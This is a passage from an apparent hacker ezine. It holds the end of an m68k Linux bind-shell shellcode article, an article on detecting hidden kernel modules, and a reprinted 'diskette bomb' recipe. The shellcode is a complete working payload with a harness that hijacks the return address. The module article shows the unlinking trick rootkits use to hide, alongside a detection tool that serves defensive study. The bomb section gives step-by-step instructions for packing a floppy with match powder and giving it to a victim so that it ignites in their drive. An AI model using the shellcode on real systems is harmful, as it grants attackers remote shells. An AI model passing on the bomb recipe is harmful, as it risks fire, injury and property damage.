 the general picture I hope has given. And at last how it should be:


char bind_shellcode[]=
"\x70\x02"           	      /*  moveq #2,%d0          */
"\x2e\x80"           	      /*  movel %d0,%sp@        */
"\x70\x01"           	      /*  moveq #1,%d0          */
"\x2f\x40\x00\x04"     	      /*  movel %d0,%sp@(4)     */ 
"\xb1\x80"           	      /*  eorl %d0,%d0          */
"\x2f\x40\x00\x08"     	      /*  movel %d0,%sp@(8)     */ 
"\x24\x0f"           	      /*  movel %sp,%d2         */
"\x70\x66"           	      /*  moveq #102,%d0        */
"\x72\x01"           	      /*  moveq #1,%d1          */
"\x4e\x40"           	      /*  trap #0               */
"\x2e\x80"           	      /*  movel %d0,%sp@        */
"\x30\x3c\x00\xc8"     	      /*  movew #200,%d0        */
"\x2f\x40\x00\x0c"     	      /*  movel %d0,%sp@(12)    */
"\xb1\x80"           	      /*  eorl %d0,%d0          */ 
"\x2f\x40\x00\x10"     	      /*  movel %d0,%sp@(16)    */
"\x70\x02"           	      /*  moveq #2,%d0          */
"\x2f\x40\x00\x14"            /*  movel %d0,%sp@(20)    */
"\x41\xef\x00\x0c"     	      /*  lea %sp@(12),%a0      */
"\x2f\x48\x00\x04"     	      /*  movel %a0,%sp@(4)     */
"\x70\x10"           	      /*  moveq #16,%d0         */
"\x2f\x40\x00\x08"     	      /*  movel %d0,%sp@(8)     */ 
"\x70\x66"           	      /*  moveq #102,%d0        */ 
"\x72\x02"           	      /*  moveq #2,%d1          */
"\x4e\x40"           	      /*  trap #0               */
"\x70\x01"           	      /*  moveq #1,%d0          */ 
"\x2f\x40\x00\x04"     	      /*  movel %d0,%sp@(4)     */  
"\x70\x66"           	      /*  moveq #102,%d0        */
"\x72\x04"           	      /*  moveq #4,%d1          */
"\x4e\x40"           	      /*  trap #0               */
"\xb1\x80"           	      /*  eorl %d0,%d0          */  
"\x2f\x40\x00\x04"     	      /*  movel %d0,%sp@(4)     */ 
"\x2f\x40\x00\x08"     	      /*  movel %d0,%sp@(8)     */
"\x70\x66"           	      /*  moveq #102,%d0        */
"\x72\x05"           	      /*  moveq #5,%d1          */ 
"\x4e\x40"           	      /*  trap #0               */
"\x22\x00"           	      /*  movel %d0,%d1         */
"\x70\x3f"           	      /*  moveq #63,%d0         */
"\x74\x00"           	      /*  moveq #0,%d2          */ 
"\x4e\x40"           	      /*  trap #0               */
"\x22\x00"           	      /*  movel %d0,%d1         */
"\x70\x3f"           	      /*  moveq #63,%d0         */
"\x74\x01"           	      /*  moveq #1,%d2          */
"\x4e\x40"           	      /*  trap #0               */  
"\x22\x00"           	      /*  movel %d0,%d1         */
"\x70\x3f"           	      /*  moveq #63,%d0         */
"\x74\x02"           	      /*  moveq #2,%d2          */
"\x4e\x40"           	      /*  trap #0               */
"\x70\x0b"           	      /*  moveq #11,%d0         */ 
"\x48\x79\x2f\x2f\x73\x68"    /*  pea 2f2f7368          */
"\x48\x79\x2f\x62\x69\x6e"    /*  pea 2f62696e          */ 
"\x22\x0f"           	      /*  movel %sp,%d1         */
"\xb5\x82"           	      /*  eorl %d2,%d2          */
"\x2f\x02"           	      /*  movel %d2,%sp@-       */
"\x48\x78\x01\x30"            /*  pea 130               */
"\x24\x0f"           	      /*  movel %sp,%d2         */ 
"\x26\x02"           	      /*  movel %d2,%d3         */ 
"\x4e\x40";           	      /*  trap #0               */

main()
{
 int *ret;
 ret=(int *)&ret +2;
 *ret = bind_shellcode;
}


 p.s. as always - sorry for my poor english.


 VI. References.
 
 [1] http://e-www.motorola.com/collateral/M68000PRM.pdf  - programmer's manual
 [2] http://e-www.motorola.com/brdata/PDFDB/docs/MC68060UM.pdf - user's manual
 [3] http://www.lsd-pl.net/documents/asmcodes-1.0.2.pdf        - good tutorial


|=-----------------------------------------------------------------------=|
|=-=[ 6 - Finding hidden kernel modules (the extrem way) ]=--------------=|
|=-----------------------------------------------------------------------=|

by madsys <madsys at ercist.iscas.ac.cn>


1 Introduction
2 The technique of module hiding
3 Countermeasure -- brute force
4 Problem of unmapped
5 Greetings
6 References
7 Code


1 Introduction
==============

This paper presents a method for how to find out the hidden modules in
linux system. Generaly speaking, most of the attackers intend to hide
their modules after taking down the victim. They like this way to prevent
the change of kernel from being detected by the administrator. As modules
were linked to a singly linked chain, the original one was unable to be
recovered while some modules have been removed. In this sense, to retrieve
the hidden modules came up to be hard. Essential C skill and primary
knowledge of linux kernel are needed.


2 The technique of module hiding
================================

First of all, the most popular and general technique of module hiding 
and the quomodo of application to get module's list were examined.
An implement of module hiding was shown as below:

    ----snip----
    struct module *p;
    
    for (p=&__this_module; p->next; p=p->next)
        {
            if (strcmp(p->next->name, str))
                continue;
            p->next=p->next->next;        // <-- here it 
removes that module
                break;
        }
    
    ----snip----

As you can see, in order to hide one module, the unidirectional chain was 
modified, and following is a snippet of sys_create_module() system call, 
which might tell why the technique worked:

    ----snip----
    spin_lock_irqsave(&modlist_lock, flags);
    mod->next = module_list;
    module_list = mod;    /* link it in */
    spin_unlock_irqrestore(&modlist_lock, flags);
    ----snip----

A conclusion could be made: modules linked to the end of unidirectional 
chain when they were created.

"lsmod" is an application on linux for listing current loaded modules, 
which uses sys_query_module() system call to get the listing of loaded 
modules, and qm_modules() is the actual function called by it while 
querying modules:


static int qm_modules(char *buf, size_t bufsize, size_t *ret)
{
    struct module *mod;
    size_t nmod, space, len;

    nmod = space = 0;

    for (mod=module_list; mod != &kernel_module; mod=mod->next, 
++nmod) {
        len = strlen(mod->name)+1;
        if (len > bufsize)
            goto calc_space_needed;
        if (copy_to_user(buf, mod->name, len))
            return -EFAULT;
        buf += len;
        bufsize -= len;
        space += len;
    }

    if (put_user(nmod, ret))
        return -EFAULT;
    else
        return 0;

calc_space_needed:
    space += len;
    while ((mod = mod->next) != &kernel_module)
        space += strlen(mod->name)+1;

    if (put_user(space, ret))
        return -EFAULT;
    else
        return -ENOSPC;
}

    note: pointer module_list is always at the head of the singly linked
chain. It clearly showing the technique of hiding module was valid.


3 Countermeasure -- brute force
===============================

According to the technique of hiding module, brute force might be useful.
sys_creat_module() system call was expressed as below. 

    --snip--
    if ((mod = (struct module *)module_map(size)) == NULL) {
        error = -ENOMEM;
        goto err1;
    }
    --snip--

    and the macro module_map in "asm/module.h": 
    #define module_map(x)    vmalloc(x)


You should have noticed that the function calls vmalloc() to allocate the
module struct. So the size limitation of vmalloc zone for brute force is
able to be exploited to determine what modules in our system on earth.
As you know, the vmalloc zone is 128M(2.2, 2.4 kernel, there are many
inanition zones in it), however, any allocated module should be aligned by
4K. Therefor, the theoretical maximum number we were supposed to detect
was 128M/4k=32768.

4 Problem of unmapped
=====================

By far, maybe you think: umm, it's very easy to use brute force to list
those evil modules". But it is not true because of an important
reason: it is possible that the address which you are accessing is
unmapped, thus it can cause a paging fault and the kernel would report:
"Unable to handle kernel paging request at virtual address".

So we must make sure the address we are accessing is mapped. The solution
is to verify the validity of the corresponding entry in kernel
pgd(swapper_pg_dir) and the corresponding entry in page table.Furthermore,
we were supposed to make sure the content of address pointed by "name"
pointer(in struct module) was valid. Because the 768~1024 entries of user
process's pgd were synchronous with kerenl pgd, and that was why such
hardcore address of kernel pgd (0xc0101000) was used.


following is the function for validating those entries in pgd or pgt:

int valid_addr(unsigned long address)
{
    unsigned long page;

    if (!address)
        return 0;

    page = ((unsigned long *)0xc0101000)[address >> 22];        
//pde
    if (page & 1)
    {
        page &= PAGE_MASK;
        address &= 0x003ff000;
        page = ((unsigned long *) __va(page))[address >> 
PAGE_SHIFT];    //pte
        if (page)
            return 1;
    }
    
    return 0;
}

After validating those addresses which we would check, the next step would
be easy -- just brute force. As the list of modules including hidden
modules had been created, you could compare it with the output of "lsmod".
Then you can find out those evil modules and get rid of them freely.


5 Greetings
===========

Shout to uberhax0rs@linuxforum.net


6 Code
======

-----BEGING MODULE_HUNTER.C-----
/* 
 * module_hunter.c: Search for patterns in the kernel address space that
 * look like module structures. This tools find hidden modules that
 * unlinked themself from the chained list of loaded modules.
 *
 * This tool is currently implemented as a module but can be easily ported
 * to a userland application (using /dev/kmem).
 * 
 * Compile with: gcc -c module_hunter.c -I/usr/src/linux/include
 * insmod ./module_hunter.o
 *
 * usage: cat /proc/showmodules && dmesg
 */

#define MODULE
#define __KERNEL__

#include <linux/config.h>

#ifdef CONFIG_SMP
#define __SMP__ 
#endif

#ifdef CONFIG_MODVERSIONS
#define MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/version.h>

#include <linux/unistd.h>
#include <linux/string.h>


#include <linux/proc_fs.h>

#include <linux/errno.h>
#include <asm/uaccess.h>


#include <asm/pgtable.h>
#include <asm/fixmap.h>
#include <asm/page.h>

static int errno;


int valid_addr(unsigned long address)
{
    unsigned long page;

    if (!address)
        return 0;

    page = ((unsigned long *)0xc0101000)[address >> 22];        

    if (page & 1)
    {
        page &= PAGE_MASK;
        address &= 0x003ff000;
        page = ((unsigned long *) __va(page))[address >> PAGE_SHIFT];  //pte
        if (page)
            return 1;
    }
    
    return 0;
}

ssize_t
showmodule_read(struct file *unused_file, char *buffer, size_t len, loff_t *off)
{
    struct module *p;

    printk("address                         module\n\n");
    for (p=(struct module *)VMALLOC_START; p<=(struct \
module*)(VMALLOC_START+VMALLOC_RESERVE-PAGE_SIZE); p=(struct module \
*)((unsigned long)p+PAGE_SIZE))
    {
        if (valid_addr((unsigned long)p+ (unsigned long)&((struct \
module *)NULL)->name) && valid_addr(*(unsigned long *)((unsigned long)p+ \
(unsigned long)&((struct module *)NULL)->name)) && strlen(p->name))
            if (*p->name>=0x21 && *p->name<=0x7e && (p->size < 1 <<20))
                printk("0x%p%20s size: 0x%x\n", p, p->name, p->size);
    }

    return 0;
}

static struct file_operations showmodules_ops = {
    read:    showmodule_read,
};

int init_module(int x)
{
    struct proc_dir_entry *entry;

    entry = create_proc_entry("showmodules", S_IRUSR, &proc_root);
    entry->proc_fops = &showmodules_ops;

    return 0;
}

void cleanup_module()
{
    remove_proc_entry("showmodules", &proc_root);
}

MODULE_LICENSE("GPL");
MODULE_AUTHOR("madsys<at>ercist.iscas.ac.cn");
-----END MODULE-HUNTER.C-----

|=-----------------------------------------------------------------------=|
|=-=[ 7 - Good old floppy bombs ]=---------------------------------------=|
|=-----------------------------------------------------------------------=|

    [ Note by the editors: We felt like it's time for a re-print of
      some already forgotton fun with pyro techniques. Enjoy. ]

                    ####################################
                    #   How To Make A Diskette Bomb    #
                    #       by Phrick-A-Phrack         #
                    ####################################

Before I even start i want to make it clear that i do NOT take any
responsibility on the use of the information in this document.

This little baby is good to use to stuff up someones computer a little.
It can be adapted to a range of other things.

You will need:

- A disk (3.5" floppys are a good disk to use)
- Scissors
- White or blue kitchen matches (i have not found any other colors that
  work - im not sure why)
- Clear nail polish

What to do:
 
- Carefully open up the diskette
- remove the cotton covering from the inside.
- scrape a lot of match powder into a bowl (use a woodent scraper as metal
  might spark and ignite the match powder)
- After you have a lot, spread it EVENLY on the disk.
- Spread nail polish over the match powder on the disk.
- let it dry.
- carefully put the diskette back together and use the nail plish to seal
  is shut.

How to use it:

Give it to someone you want to give a fright and stuff up their computer
a little. Tell them its got something they are interested in on it. When
they put it in their drive the drive head attempts to read the disk which
causes a small fire - enough heat to melt the disk drive and stuff the
head up!

       ^^Phrick-A-Phrack^^

|=[ EOF ]=---------------------------------------------------------------=|

